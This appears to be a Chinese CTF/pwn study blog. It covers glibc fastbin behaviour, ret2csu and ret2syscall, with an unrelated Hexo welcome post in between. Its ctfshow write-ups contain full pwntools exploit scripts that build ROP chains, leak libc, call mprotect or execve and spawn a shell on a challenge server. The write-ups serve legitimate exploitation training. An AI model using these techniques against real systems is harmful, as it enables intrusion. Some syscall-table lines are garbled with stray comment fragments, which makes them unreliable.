0%


fast bins 的大小范围

  1. 单个 fast bin 管理的块大小
  • 每个 fast bin 对应一种固定大小的内存块,块大小按 8 字节递增(32 位系统)或 16 字节递增(64 位系统)。

  • 64 位系统示例(常见场景):

  • 最小块大小:0x20 字节(包含 16 字节的头部 0x10 + 对齐填充 0x10)。

  • 最大块大小:0x80 字节(即 fastbin_max_size = 0x80,超过此大小的块不属于 fast bins)。

  • 有效大小序列:0x20, 0x30, 0x40, 0x50, 0x60, 0x70, 0x80(共 7 个 fast bin)。

  • 32 位系统示例

  • 最小块大小:0x10 字节(头部 0x8 + 对齐填充 0x8)。

  • 最大块大小:0x78 字节(fastbin_max_size = 0x78)。

  • 有效大小序列:0x10, 0x18, 0x20, …, 0x78(按 8 字节递增)。

  1. 关键参数
  • fastbin_max_size:定义 fast bins 能管理的最大块大小(64 位系统默认 0x80,32 位系统默认 0x78)。
  • 块大小计算:块大小需包含头部(prev_sizesize 字段)和用户数据区,且需按 16 字节对齐(64 位)或 8 字节对齐(32 位)。

问题 1:Fastbins 的 fd 指向谁?

Fastbins 采用 LIFO(后进先出) 结构,后释放的堆块会放在链表头部,而 **fd** 指向的是先前被释放的堆块

示例:

1
2
3
ptr1 = malloc(0x10);
ptr2 = malloc(0x10);
ptr3 = malloc(0x10);

此时堆结构如下:

[ ptr1 ] [ ptr2 ] [ ptr3 ]

释放顺序:

如果我们按照 free(ptr1) -> free(ptr2) -> free(ptr3) 释放堆块,则 Fastbins 的链表结构如下:

Fastbins 结构(LIFO,头部插入):

1
2
3
4
+---------+       +---------+       +---------+
| ptr3 |-----> | ptr2 |-----> | ptr1 |-----> NULL
+---------+ +---------+ +---------+
(最近释放) (第二个释放) (最早释放)

对应的 fd 指针:

1
2
3
ptr3->fd = ptr2
ptr2->fd = ptr1
ptr1->fd = NULL

Fastbins 结构更新:

1
2
3
4
+---------+       +---------+
| ptr2 |-----> | ptr1 |-----> NULL
+---------+ +---------+
(第二个释放) (最早释放)

再申请一个 malloc(0x10)ptr2 会被分配:

1
2
3
4
+---------+
| ptr1 |-----> NULL
+---------+
(最早释放)

再申请一个 malloc(0x10)ptr1 被分配,Fastbins 变为空。

完整示意图

释放过程:

1
2
3
4
5
free(ptr1)   free(ptr2)   free(ptr3)
↓ ↓ ↓
+------+ +------+ +------+
| ptr1 | | ptr2 | | ptr3 |
+------+ +------+ +------+

Fastbins 变成:

ptr3 -> ptr2 -> ptr1 -> NULL

分配过程:

如果 malloc(0x10)

1
2
分配 ptr3:
ptr2 -> ptr1 -> NULL

malloc(0x10)

1
2
分配 ptr2:
ptr1 -> NULL

malloc(0x10)

1
2
分配 ptr1:
NULL(Fastbins 为空)

总结:

  • Fastbins 释放时,后释放的堆块会放在链表头部,而 **fd** 指向的是先前释放的堆块
  • Fastbins 申请时,总是优先分配最近释放的堆块(LIFO 规则)

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

ret2csu的知识点

(1)ret2csu的概念

ret2csu是一种利用__libc_csu_init函数中的gadget进行ROP链构造的技术,主要用于控制寄存器参数,特别是当程序中缺少足够的gadgets时。这个函数在动态链接的程序中普遍存在,所以适用性较广。当我们做题时我们会发现有些gadget不存在这时我们就可以用ret2csu这种方法

(2)__libc_csu_init函数

__libc_csu_init有两部分我们把这两部分叫gadget2gadget1

image-20250209163723325

下面这一部分gadget1

1
2
3
4
5
6
7
8
9
.text:0000000000400716 loc_400716:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400716 add rsp, 8
.text:000000000040071A pop rbx
.text:000000000040071B pop rbp
.text:000000000040071C pop r12
.text:000000000040071E pop r13
.text:0000000000400720 pop r14
.text:0000000000400722 pop r15
.text:0000000000400724 retn

可以看到是将数据弹入到rbx、rbp、r12、r13、r14、r15这六个寄存器中,这样我们就不用找gadget,更重要的是gadget2

上面一部分是gadget2

1
2
3
4
5
6
7
8
.text:0000000000400700 loc_400700:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400700 mov rdx, r13
.text:0000000000400703 mov rsi, r14
.text:0000000000400706 mov edi, r15d
.text:0000000000400709 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040070D add rbx, 1
.text:0000000000400711 cmp rbx, rbp
.text:0000000000400714 jnz short loc_400700

可以看到是将r13寄存器的值赋值给rdx,r14赋值给rsi,r15赋值给rdi,然后调用函数,这里的rbx是索引寄存器**(设置为0,将r12设置为调用函数的got表地址)*,再往后rbx的值加1,比较rbxrbp的值,如果rbx不等于 rbp,就跳转到loc_400700处,继续循环,为了避免继续循环我们将rbp的值设置为1,这样就可以跳出循环,继续往下执行也就是gadgets1loc_400716处,如果不需要再一次控制参数的话,那我们此时把栈中的数据填充56(78)个垃圾数据即可

注:

1.如何不执行call

如果我们仅仅利用__libc_csu_init函数去控制参数,而并不想去用call执行,我们可以call一个空函数(不需要参数,执行之后也不会对程序本身造成任何影响的函数)_term_proc函数(call的是指向_term_proc的地址,不是term_proc的地址)

2.如何控制rax的值?(修改rax进行系统调用)

这里就非常巧妙了,可以利用writeread的返回值

如果读取或写入成功就会将read函数和write函数实际读到和写入的字节数存入rax中,这样就达到了控制rax的值

如果错误会返回-1,存入errno

例题

ida:

1
2
3
4
5
6
7
ssize_t x64_ret2libc()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

write(1, "Welcome to x64_ret2csu\n", 0x17uLL);
return read(0, buf, 300uLL);
}

read可以栈溢出(0x80+0x8)

思路:

通过栈溢出到gadget1,设值write的参数,返回值设置为gadget2,调用write,打印出writegot表地址,接下来套用模板就可以

rbx rbp r12 r13(rdx) r14(rsi) r15(rdi)
0 1 write_got 8 write_got 1

gadget1:0x400716

gadget2:0x400700

main:0x040065b

pop_rdi :0x400723

ret = 0x4004c9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./ret2csu')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process('./ret2csu')
gadget1 = 0x400716
gadget2 = 0x400700
write_got = elf.got['write']
main = 0x040065b
pop_rdi = 0x400723
ret = 0x4004c9
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = write_got
r15 = 1
payload = b'a'*(0x80+0x8)
payload += p64(gadget1)
payload += p64(ret)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget2)
payload += p64(0)*7
payload += p64(main)
p.recvuntil(b"Welcome to x64_ret2csu\n")
p.send(payload)
write_addr = u64(p.recv(8))
print(hex(write_addr))
libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*(0x80+8) +p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendlineafter(b"Welcome to x64_ret2csu\n",payload)
p.interactive()

ctfshow72(32位ret2syscall,多系统函数调用)

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位,开启NX保护,栈不可执行

IDA:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+10h] [ebp-20h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-PWN");
puts("where is my system?");
gets(&v4);
puts("Emmm");
return 0;
}

这道题与上一道题一样,只不过没有”/bin/sh”字符串,但是有read,我们可以调用read函数,往bss段写入/bin/sh

0x08049421 : int 0x80

read = 0x0806d170

0x080bb2c6 : pop eax ; ret

0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret

0x0806F350: int 0x80

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
io = remote('pwn.challenge.ctf.show',28220)
pop_eax_ret = 0x080bb2c6
pop_edx_ecx_ebx_ret = 0x0806ecb0
int_0x80 = 0x0806F350
bss = 0x080EBB29
binsh = "/bin/sh\x00" #以空字符 '\x00'作为结束标志的,防止读取后续内存中的数据
payload = b'a'*(44)+p32(pop_eax_ret)
payload += p32(0x3)+p32(pop_edx_ecx_ebx_ret) #0x3是read函数的系统调用号
payload += p32(0x100)+p32(bss)+p32(0) #read的三个参数
payload += p32(int_0x80)
payload += p32(pop_eax_ret)+p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bss)
payload += p32(int_0x80)
io.sendline(payload)
io.sendline(binsh)
io.interactive()

同时因为是静态编译我们可以借助mprotect函数修改bss段的权限

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*
elf = ELF('./pwn')
io = remote('pwn.challenge.ctf.show',28187)
mprotect= elf.sym['mprotect']
read = elf.sym['read']
pop_edx_ecx_ebx_ret = 0x0806ecb0
bss = 0x080eb000
shellcode = asm(shellcraft.sh())
payload = b'a'*(44)+p32(mprotect)
payload += p32(pop_edx_ecx_ebx_ret)+p32(bss)+p32(0x100)+p32(7) #mprotect参数
payload += p32(read)
payload +=p32(bss)
payload += p32(0)+p32(bss)+p32(0x100) #read参数
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

ctfshow78(64位ret2syscall,多系统函数调用)

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位NX保护开启

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[80]; // [rsp+0h] [rbp-50h] BYREF

setvbuf(stdout, 0LL, 2LL, 0LL);
setvbuf(stdin, 0LL, 1LL, 0LL);
puts("CTFshowPWN!");
puts("where is my system_x64?");
gets(v4);
puts("fuck");
return 0;
}

gets函数可以栈溢出(0x58)这道题与ctfshow72一样,没有bin/sh字符串,需要借助read写入

0x000000000046b9f8 : pop rax ; ret

0x00000000004016c3 : pop rdi ; ret

0x00000000004377f9 : pop rdx ; pop rsi ; ret

syscall = 0x45BAC5

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io = remote('pwn.challenge.ctf.show',28200)
#io = process('./pwn')
rax_ret = 0x046b9f8
rdi_ret = 0x04016c3
rdx_rsi_ret =0x4377f9
syscall = 0x45BAC5
bss = 0x06C1DE3
binsh = b"/bin/sh\x00"
payload = b'a'*(0x58)+p64(rax_ret)+p64(0x0)
payload += p64(rdi_ret)+p64(0)
payload += p64(rdx_rsi_ret)+p64(0x100)+p64(bss)+p64(syscall)
payload += p64(rax_ret)+p64(0x3b)
payload += p64(rdi_ret)+p64(bss)
payload += p64(rdx_rsi_ret)+p64(0)+p64(0)+p64(syscall)
#gdb.attach(io)
io.sendline(payload)
io.send(binsh)
io.interactive()

这道题也可以借助mprotect来修改bss段权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
io = remote('pwn.challenge.ctf.show',28191)
elf = ELF('./pwn')
rdi_ret = 0x04016c3
rdx_rsi_ret =0x4377f9
bss = 0x6c1c40
read =elf.sym['read']
mprotect =elf.sym['mprotect']
shellcode = asm(shellcraft.sh())
payload = b'a'*(0x58)
payload += p64(rdi_ret)+p64(0x6c1000)
payload += p64(rdx_rsi_ret)+p64(7)+p64(0x1000)+p64(mprotect)
payload += p64(rdi_ret)+p64(0)
payload += p64(rdx_rsi_ret)+p64(0x1000)+p64(bss)+p64(read)+p64(bss)
io.sendline(payload)
io.send(shellcode)
io.interactive()

ret2syscall 原理

当程序是静态编译时,我们可以通过强制程序执行一个系统调用(syscall)来获得shell

(1)系统调用基础

系统调用是操作系统提供给用户程序的一组接口,用于访问操作系统内核的功能。在 Linux 系统中,常见的系统调用包括文件操作(如 open、read、write)、进程管理(如 fork、execve)、内存管理(如 mmap)等。当用户程序需要执行特权操作时,会通过系统调用陷入内核态,由内核执行相应的操作,并将结果返回给用户程序。

(2)系统调用过程

1.设置系统调用号

用户程序若要发起系统调用,首先要确定所需调用的系统调用对应的编号,并将其存放在 eax 寄存器中(32位)或rax寄存器中(64位)

系统调用号是操作系统为每个系统调用分配的一个唯一的整数值标识符。用户程序在发起系统调用时,需要通过这个系统调用号来告知操作系统具体要执行哪一个系统调用,ret2syscall通常采用execve(在当前进程的上下文中执行一个新的程序),32位(0x0b)、64位(0x3b)

Linux 32 位系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
exit 1
fork 2
read 3
write 4
open 5
close 6
waitpid 7
creat 8
link 9
unlink 10
execve 11
chdir 12
time 13
mknod 14
chmod 15
lchown 16
break 17
oldstat 18
lseek 19
getpid 20
mount 21
umount 22
setuid 23
getuid 24
stime 25
ptrace 26
alarm 27
oldfstat 28
pause 29
utime 30
stty 31
gtty 32
access 33
nice 34
ftime 35
sync 36
kill 37
rename 38
mkdir 39
rmdir 40
dup 41
pipe 42
times 43
prof 44
brk 45
setgid 46
getgid 47
signal 48
geteuid 49
getegid 50
acct 51
umount2 52
lock 53
ioctl 54
fcntl 55
mpx 56
setpgid 57
ulimit 58
oldolduname 59
umask 60
chroot 61
ustat 62
dup2 63
getppid 64
getpgrp 65
setsid 66
sigaction 67
sgetmask 68
ssetmask 69
setreuid 70
setregid 71
sigsuspend 72
sigpending 73
sethostname 74
setrlimit 75
getrlimit 76
getrusage 77
gettimeofday 78
settimeofday 79
getgroups 80
setgroups 81
select 82
symlink 83
oldlstat 84
readlink 85
uselib 86
swapon 87
reboot 88
readdir 89
mmap 90
munmap 91
truncate 92
ftruncate 93
fchmod 94
fchown 95
getpriority 96
setpriority 97
profil 98
statfs 99
fstatfs 100
ioperm 101
socketcall 102
syslog 103
setitimer 104
getitimer 105
stat 106
lstat 107
fstat 108
olduname 109
iopl 110
vhangup 111
idle 112
vm86old 113
wait4 114
swapoff 115
sysinfo 116
ipc 117
fsync 118
sigreturn 119
clone 120
setdomainname 121
uname 122
modify_ldt 123
adjtimex 124
mprotect 125
sigprocmask 126
create_module 127
init_module 128
delete_module 129
get_kernel_syms 130
quotactl 131
getpgid 132
fchdir 133
bdflush 134
sysfs 135
personality 136
afs_syscall 137
setfsuid 138
setfsgid 139
_llseek 140
getdents 141
_newselect 142
flock 143
msync 144
readv 145
writev 146
getsid 147
fdatasync 148
_sysctl 149
mlock 150
munlock 151
mlockall 152
munlockall 153
sched_setparam 154
sched_getparam 155
sched_setscheduler 156
sched_getscheduler 157
sched_yield 158
sched_get_priority_max 159
sched_get_priority_min 160
sched_rr_get_interval 161
nanosleep 162
mremap 163
setresuid 164
getresuid 165
vm86 166
query_module 167
poll 168
nfsservctl 169
setresgid 170
getresgid 171
prctl 172
rt_sigreturn 173
rt_sigaction 174
rt_sigprocmask 175
rt_sigpending 176
rt_sigtimedwait 177
rt_sigqueueinfo 178
rt_sigsuspend 179
pread64 180
pwrite64 181
chown 182
getcwd 183
capget 184
capset 185
sigaltstack 186
sendfile 187
getpmsg 188
putpmsg 189
vfork 190
ugetrlimit 191
mmap2 192
truncate64 193
ftruncate64 194
stat64 195
lstat64 196
fstat64 197
lchown32 198
getuid32 199
getgid32 200
geteuid32 201
getegid32 202
setreuid32 203
setregid32 204
getgroups32 205
setgroups32 206
fchown32 207
setresuid32 208
getresuid32 209
setresgid32 210
getresgid32 211
chown32 212
setuid32 213
setgid32 214
setfsuid32 215
setfsgid32 216
pivot_root 217
mincore 218
madvise 219
madvise1 219
getdents64 220
fcntl64 221
gettid 224
readahead 225
setxattr 226
lsetxattr 227
fsetxattr 228
getxattr 229
lgetxattr 230
fgetxattr 231
listxattr 232
llistxattr 233
flistxattr 234
removexattr 235
lremovexattr 236
fremovexattr 237
tkill 238
sendfile64 239
futex 240
sched_setaffinity 241
sched_getaffinity 242
set_thread_area 243
get_thread_area 244
io_setup 245
io_destroy 246
io_getevents 247
io_submit 248
io_cancel 249
fadvise64 250
exit_group 252
lookup_dcookie 253
epoll_create 254
epoll_ctl 255
epoll_wait 256
remap_file_pages 257
set_tid_address 258
timer_create 259
timer_settime 260
timer_gettime 261
timer_getoverrun 262
timer_delete 263
clock_settime 264
clock_gettime 265
clock_getres 266
clock_nanosleep 267
statfs64 268
fstatfs64 269
tgkill 270
utimes 271
fadvise64_64 272
vserver 273
mbind 274
get_mempolicy 275
set_mempolicy 276
mq_open 277
mq_unlink 278
mq_timedsend 279
mq_timedreceive 280
mq_notify 281
mq_getsetattr 282
kexec_load 283
waitid 284
sys_setaltroot 285
add_key 286
request_key 287
keyctl 288
ioprio_set 289
ioprio_get 290
inotify_init 291
inotify_add_watch 292
inotify_rm_watch 293
migrate_pages 294
openat 295
mkdirat 296
mknodat 297
fchownat 298
futimesat 299
fstatat64 300
unlinkat 301
renameat 302
linkat 303
symlinkat 304
readlinkat 305
fchmodat 306
faccessat 307
pselect6 308
ppoll 309
unshare 310
set_robust_list 311
get_robust_list 312
splice 313
sync_file_range 314
tee 315
vmsplice 316
move_pages 317
getcpu 318
epoll_pwait 319
utimensat 320
signalfd 321
timerfd_create 322
eventfd 323
fallocate 324
timerfd_settime 325
timerfd_gettime 326
signalfd4 327
eventfd2 328
epoll_create1 329
dup3 330
pipe2 331
inotify_init1 332
preadv 333
pwritev 334
rt_tgsigqueueinfo 335
perf_event_open 336
recvmmsg 337
fanotify_init 338
fanotify_mark 339
prlimit64 340
name_to_handle_at 341
open_by_handle_at 342
clock_adjtime 343
syncfs 344
sendmmsg 345
set_ns 346
process_vm_readv 347
process_vm_writev 348

Linux 64 位系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
read 0
write 1
open 2
close 3
stat 4
fstat 5
lstat 6
poll 7
lseek 8
mmap 9
mprotect 10
munmap 11
brk 12
rt_sigaction 13
rt_sigprocmask 14
rt_sigreturn 15
ioctl 16
pread64 17
pwrite64 18
readv 19
writev 20
access 21
pipe 22
select 23
sched_yield 24
mremap 25
msync 26
mincore 27
madvise 28
shmget 29
shmat 30
shmctl 31
dup 32
dup2 33
pause 34
nanosleep 35
getitimer 36
alarm 37
setitimer 38
getpid 39
sendfile 40
socket 41
connect 42
accept 43
sendto 44
recvfrom 45
sendmsg 46
recvmsg 47
shutdown 48
bind 49
listen 50
getsockname 51
getpeername 52
socketpair 53
setsockopt 54
getsockopt 55
clone 56
fork 57
vfork 58
execve 59
exit 60
wait4 61
kill 62
uname 63
semget 64
semop 65
semctl 66
shmdt 67
msgget 68
msgsnd 69
msgrcv 70
msgctl 71
fcntl 72
flock 73
fsync 74
fdatasync 75
truncate 76
ftruncate 77
getdents 78
getcwd 79
chdir 80
fchdir 81
rename 82
mkdir 83
rmdir 84
creat 85
link 86
unlink 87
symlink 88
readlink 89
chmod 90
fchmod 91
chown 92
fchown 93
lchown 94
umask 95
gettimeofday 96
getrlimit 97
getrusage 98
sysinfo 99
times 100
ptrace 101
getuid 102
syslog 103
y end the stuff that never runs during the benchmarks */
getgid 104
setuid 105
setgid 106
geteuid 107
getegid 108
setpgid 109
getppid 110
getpgrp 111
setsid 112
setreuid 113
setregid 114
getgroups 115
setgroups 116
setresuid 117
getresuid 118
setresgid 119
getresgid 120
getpgid 121
setfsuid 122
setfsgid 123
getsid 124
capget 125
capset 126
rt_sigpending 127
rt_sigtimedwait 128
rt_sigqueueinfo 129
rt_sigsuspend 130
sigaltstack 131
utime 132
mknod 133
d for a.out */
uselib 134
personality 135
ustat 136
statfs 137
fstatfs 138
sysfs 139
getpriority 140
setpriority 141
sched_setparam 142
sched_getparam 143
sched_setscheduler 144
sched_getscheduler 145
sched_get_priority_max 146
sched_get_priority_min 147
sched_rr_get_interval 148
mlock 149
munlock 150
mlockall 151
munlockall 152
vhangup 153
modify_ldt 154
pivot_root 155
_sysctl 156
prctl 157
arch_prctl 158
adjtimex 159
setrlimit 160
chroot 161
sync 162
acct 163
settimeofday 164
mount 165
umount2 166
swapon 167
swapoff 168
reboot 169
sethostname 170
setdomainname 171
iopl 172
ioperm 173
create_module 174
init_module 175
delete_module 176
get_kernel_syms 177
query_module 178
quotactl 179
nfsservctl 180
or LiS/STREAMS */
getpmsg 181
putpmsg 182
or AFS */
afs_syscall 183
or tux */
tuxcall 184
security 185
gettid 186
readahead 187
setxattr 188
lsetxattr 189
fsetxattr 190
getxattr 191
lgetxattr 192
fgetxattr 193
listxattr 194
llistxattr 195
flistxattr 196
removexattr 197
lremovexattr 198
fremovexattr 199
tkill 200
time 201
futex 202
sched_setaffinity 203
sched_getaffinity 204
set_thread_area 205
io_setup 206
io_destroy 207
io_getevents 208
io_submit 209
io_cancel 210
get_thread_area 211
lookup_dcookie 212
epoll_create 213
epoll_ctl_old 214
epoll_wait_old 215
remap_file_pages 216
getdents64 217
set_tid_address 218
restart_syscall 219
semtimedop 220
fadvise64 221
timer_create 222
timer_settime 223
timer_gettime 224
timer_getoverrun 225
timer_delete 226
clock_settime 227
clock_gettime 228
clock_getres 229
clock_nanosleep 230
exit_group 231
epoll_wait 232
epoll_ctl 233
tgkill 234
utimes 235
vserver 236
mbind 237
set_mempolicy 238
get_mempolicy 239
mq_open 240
mq_unlink 241
mq_timedsend 242
mq_timedreceive 243
mq_notify 244
mq_getsetattr 245
kexec_load 246
waitid 247
add_key 248
request_key 249
keyctl 250
ioprio_set 251
ioprio_get 252
inotify_init 253
inotify_add_watch 254
inotify_rm_watch 255
migrate_pages 256
openat 257
mkdirat 258
mknodat 259
fchownat 260
futimesat 261
newfstatat 262
unlinkat 263
renameat 264
linkat 265
symlinkat 266
readlinkat 267
fchmodat 268
faccessat 269
pselect6 270
ppoll 271
unshare 272
set_robust_list 273
get_robust_list 274
splice 275
tee 276
sync_file_range 277
vmsplice 278
move_pages 279
utimensat 280
ORE_getcpu /* implemented as a vsyscall */
epoll_pwait 281
signalfd 282
timerfd_create 283
eventfd 284
fallocate 285
timerfd_settime 286
timerfd_gettime 287
accept4 288
signalfd4 289
eventfd2 290
epoll_create1 291
dup3 292
pipe2 293
inotify_init1 294
preadv 295
pwritev 296
rt_tgsigqueueinfo 297
perf_event_open 298
recvmmsg 299
fanotify_init 300
fanotify_mark 301
prlimit64 302
name_to_handle_at 303
open_by_handle_at 304
clock_adjtime 305
syncfs 306
sendmmsg 307
set_ns 308
get_cpu 309
process_vm_readv 310
process_vm_writev 311

2.传递参数

32位系统所需参数依次存放在 寄存器eaxebxecxedxesiediebp

设置 eax 寄存器 设置 edx 寄存器 设置 ecx 寄存器 设置 ebx 寄存器
0xb(execve 的系统调用号) 0(NULL) 0(NULL) /bin/sh 字符串的地址

64位系统所需参数依次存放在寄存器raxrdirsirdxr10r8r9

设置 rax 寄存器 设置 rdx 寄存器 设置 rsi 寄存器 设置 rdi 寄存器
0x3b(execve 的系统调用号) 0(NULL) 0(NULL) /bin/sh 字符串的地址

3.触发系统调用

32 位系统使用 int0x80 指令来触发系统调用,64 位系统使用 syscall 指令来触发系统调用

例题

ctfshow71(32位ret2syscall)

1
2
3
4
5
6
7
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

32位,开启NX保护,栈不可执行

pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

statically linked静态编译

ida:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("===============CTFshow--PWN===============");
puts("Try to use ret2syscall!");
gets(&v4);
return 0;

gets栈溢出

偏移:112

0x080bb196 : pop eax ; ret

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

0x080be408 : /bin/sh

0x08049421 : int 0x80

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
io = remote('pwn.challenge.ctf.show',28306)
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = b'a'*(112)+p32(pop_eax_ret)
payload += p32(0xb)+p32(pop_edx_ecx_ebx_ret) #系统调用号
payload += p32(0)+p32(0)+p32(binsh) #三个参数
payload += p32(int_0x80) #触发系统调用
io.sendline(payload)
io.interactive()

ctfshow66

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位,NX栈不可执行开启

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("Your shellcode is :");
read(0, buf, 0x200uLL);
if ( !(unsigned int)check(buf) )
{
printf(" ERROR !");
exit(0);
}
((void (__fastcall *)(void *))buf)(buf);
return 0;
}

这道题与前面ctfshow64差不多。多了一个检查

check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall check(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]

while ( *a1 )
{
for ( i = &unk_400F20; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}

意思检查数据是与unk_400F20里面的相同,相同返回1(假),不同返回0(真)

在经过if判断检查是否通过

检查失败情况:当 check 函数返回 0 时,(unsigned int)check(buf) 的结果为 0,再经过逻辑非运算 !(unsigned int)check(buf) 的结果为 1。此时 if 条件判断为真,程序会执行 if 语句块内的代码,先通过 printf(" ERROR !"); 输出错误信息 " ERROR !",然后调用 exit(0) 终止程序。exit(0) 一般表示程序正常退出,但在这里实际上是因为输入的 buf 不符合检查要求而提前终止程序。

检查通过情况:当 check 函数返回 1 时,(unsigned int)check(buf) 的结果为 1,经过逻辑非运算 !(unsigned int)check(buf) 的结果为 0。此时 if 条件判断为假,程序不会执行 if 语句块内的代码,而是继续执行后续的代码,也就是执行 ((void (__fastcall *)(void *))buf)(buf); 这行代码来执行用户输入的 shellcode。

我们看一下unk_400F20里面的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
.rodata:0000000000400F20 unk_400F20      db  5Ah ; Z             ; DATA XREF: check+8↑o
.rodata:0000000000400F21 db 5Ah ; Z
.rodata:0000000000400F22 db 4Ah ; J
.rodata:0000000000400F23 db 20h
.rodata:0000000000400F24 db 6Ch ; l
